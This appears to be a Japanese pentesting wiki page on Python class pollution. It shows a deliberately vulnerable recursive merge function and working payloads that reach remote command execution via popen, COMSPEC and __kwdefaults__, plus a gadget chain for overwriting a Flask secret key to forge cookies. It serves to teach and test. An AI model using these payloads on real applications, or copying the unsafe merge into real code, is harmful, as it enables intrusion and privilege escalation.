クラス汚染 (Pythonのプロトタイプ汚染)

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基本的な例

文字列を使ってオブジェクトのクラスを汚染する方法を確認してください:

python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

基本的な脆弱性の例

python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Gadget Examples

クラスプロパティのデフォルト値をRCE（サブプロセス）に設定する
python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}

recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"

# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
globalsを通じて他のクラスやグローバル変数を汚染する
python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
任意のサブプロセス実行
python
import subprocess, json

class Employee:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
オーバーライティング __kwdefaults__

__kwdefaults__ はすべての関数の特別な属性であり、Pythonのドキュメントに基づいて、「キーワード専用パラメータのデフォルト値のマッピング」です。この属性を汚染することで、関数のキーワード専用パラメータのデフォルト値を制御できます。これらは、*または*argsの後に来る関数のパラメータです。

python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
ファイル間でのFlaskシークレットの上書き

したがって、ウェブのメインPythonファイルで定義されたオブジェクトに対してクラス汚染を行うことができる場合、そのクラスがメインファイルとは異なるファイルで定義されている必要があります。前のペイロードで__globals__にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、そのファイルのグローバルにアクセスできますが、メインファイルのグローバルにはアクセスできません。
したがって、メインページでシークレットキーを定義したFlaskアプリのグローバルオブジェクトにアクセスできません。

python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

このシナリオでは、ファイルを横断してメインのファイルに到達し、グローバルオブジェクト app.secret_key にアクセスしてFlaskのシークレットキーを変更し、このキーを知ることで権限を昇格させるためのガジェットが必要です。

このようなペイロードは、この解説から:

python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

このペイロードを使用して**app.secret_key**（あなたのアプリでは名前が異なる場合があります）を変更し、新しいより多くの権限を持つフラスククッキーに署名できるようにします。

さらに、以下のページも参照して読み取り専用のガジェットを確認してください：

Python Internal Read Gadgets

参考文献

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AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
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